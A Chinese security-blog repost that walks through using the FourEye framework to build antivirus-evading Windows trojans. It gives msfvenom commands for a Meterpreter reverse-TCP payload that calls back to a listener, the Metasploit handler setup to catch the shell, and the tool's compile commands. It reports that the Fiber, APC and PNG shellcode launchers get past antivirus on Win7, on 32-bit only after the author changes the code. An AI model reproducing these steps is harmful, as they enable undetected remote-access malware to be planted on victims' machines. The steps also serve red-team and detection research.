技术干货 | FourEye BypassFrameWork 免杀之实践

  • A+
所属分类:安全文章

作者:calmness

  • 安全公司技术经理兼项目经理

  • 弥天安全实验室核心成员、炎黄安全实验室创始人

  • FREEBUF上推出个人专辑《狙杀APP之实践启蒙》

  • 安全客、CSDN博客、FREEBUF作者之一、合天智汇讲师、注册信息安全专家

  • 研究方向:渗透测试、安全运营建设

本公众号发布的文章均转载自互联网或经作者投稿授权的原创,文末已注明出处,其内容和图片版权归原网站或作者本人所有,并不代表安世加的观点,若有无意侵权或转载不当之处请联系我们处理,谢谢合作!


欢迎各位添加微信号:asj-jacky

加入安世加 交流群 和大佬们一起交流安全技术


经过尝试并且借鉴FourEye(重明) - AV Evasion Tool For Red Team 文章的相关内容,把相关的过程分享给大家,感兴趣的同学可以进行尝试一下,不过在实践中发现了一些小问题,大家可以自己看过程;

使用在win7 32位环境下,容易被检测出;使用在win7 64位环境下,不易被检测出;【使用kali2020运行出了问题,面临i686-w64-mingw32-g++编译win-vlc问题】


环境

kali 2018

win7 32位

win7 64位

在kali上下载工具

git clone https://github.com/lengjibo/FourEye.git

cd FourEye

pip install -r requirements.txt

python3 BypassFramework.py


过程


win7 32位

BypassAV1

BypassAV1:Shellcode Launcher using Fibers

[email protected]:~/桌面# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.130 LPORT=444 -f raw -o shellcode.raw

生成木马文件 

技术干货 | FourEye BypassFrameWork 免杀之实践

执行监听利用MSF

技术干货 | FourEye BypassFrameWork 免杀之实践

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.28.130
lhost => 192.168.28.130
msf5 exploit(multi/handler) > set lport 444
lport => 444

使用python脚本

地址:https://github.com/lengjibo/FourEye

[email protected]:~/桌面/FourEye-main# python3 BypassFramework.py

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

FourEye >>list
[+] Shellcode:
[+] Exe:

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

在win7 32位上运行 shellcode.exe 观察是否免杀:

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

类型:
HEUR/QVM20.1.E9BB.Malware.Gen

描述:
HEUR/QVM20.1.E9BB.Malware.Gen

扫描引擎:引擎

文件指纹(MD5):
4a0ee74615140d096cdc402ccf292b6b

技术干货 | FourEye BypassFrameWork 免杀之实践

使用了

BypassAV1:Shellcode Launcher using Fiber

回连

技术干货 | FourEye BypassFrameWork 免杀之实践

BypassAV2

BypassAV2:Shellcode Launcher using QueueUserAPC

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

BypassAV3

BypassAV3:Shellcode Launcher using PNG

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践


win7 64位

BypassAV3

BypassAV3:Shellcode Launcher using PNG

生成木马文件 

[email protected]:~/桌面# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.16.129 LPORT=444 -f raw -o shellcode.raw 

在kali上执行相关的操作,获取shellcode文件 

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

在win7 64位上运行 shellcode.exe 观察是否免杀:

技术干货 | FourEye BypassFrameWork 免杀之实践

BypassAV2

BypassAV2:Shellcode Launcher using QueueUserAPC

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

BypassAV1

BypassAV1:Shellcode Launcher using Fibers

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践


总结

综合分析,发现针对32位的杀毒软件,该木马文件不起什么作用,应该与编译的方式有关吧,i686-w64-mingw32-g++  -m 32;64位的杀毒软件,该木马文件毫不客气的绕过了它的查杀;


分析

BypassFramework.py

开头需要导入很多的依赖包文件,之后,要求使用Python3 版本运行显示红色

技术干货 | FourEye BypassFrameWork 免杀之实践

当为真时则尝试命令输入>> 为绿色;之后,如果命令为退出则停止;列表,帮助,执行命令为shellcode时,进行下一次的循环while语句,bypass文件的生成;

技术干货 | FourEye BypassFrameWork 免杀之实践

刚才要求导入依赖包:from core.functions import *

技术干货 | FourEye BypassFrameWork 免杀之实践

core目录下的functions.py:阐述了允许使用的命令

技术干货 | FourEye BypassFrameWork 免杀之实践

通过def 函数定义了各个命令所执行的内容;这里调用了系统的命令,去编译生成

        os.system('i686-w64-mingw32-g++ ' + '/root/shellcode.cpp' + ' -o ' + '/root/shellcode.exe' + " --static" + " -w")
        os.system('rm -rf ' + '/root/shellcode.cpp')

技术干货 | FourEye BypassFrameWork 免杀之实践

定义了banner信息,就是一些版本归属的信息;

技术干货 | FourEye BypassFrameWork 免杀之实践

module/memory/目录下 CreateFiber.py

from module.memory.CreateFiber import *

load函数下的内容做了注释并且导入shellcode,打开C语言cpp格式的文件进行写入;同时rot_compailed 函数定义了shellcode的大小; 

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践

module/Separation目录下imageShell.py

from module.Separation.imageShell import *

在内容之中插入并且生成shell.png ,cpp后的文件,之后再编译生成exe文件

技术干货 | FourEye BypassFrameWork 免杀之实践


魔变

修改它的代码适用于32位操作系统的;

技术干货 | FourEye BypassFrameWork 免杀之实践

再次在win7 32位上尝试;成功绕过了检测;

技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践
技术干货 | FourEye BypassFrameWork 免杀之实践


参考链接

https://github.com/Pa55w0rd/FourEye

https://mp.weixin.qq.com/s/EmXEJ4JwZiKymi4zZ2Xthg

https://bbs.csdn.net/topics/391866590

视频资源:

https://www.bilibili.com/video/BV1zy4y1S7ZM/


本文始发于微信公众号(安世加):技术干货 | FourEye BypassFrameWork 免杀之实践

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: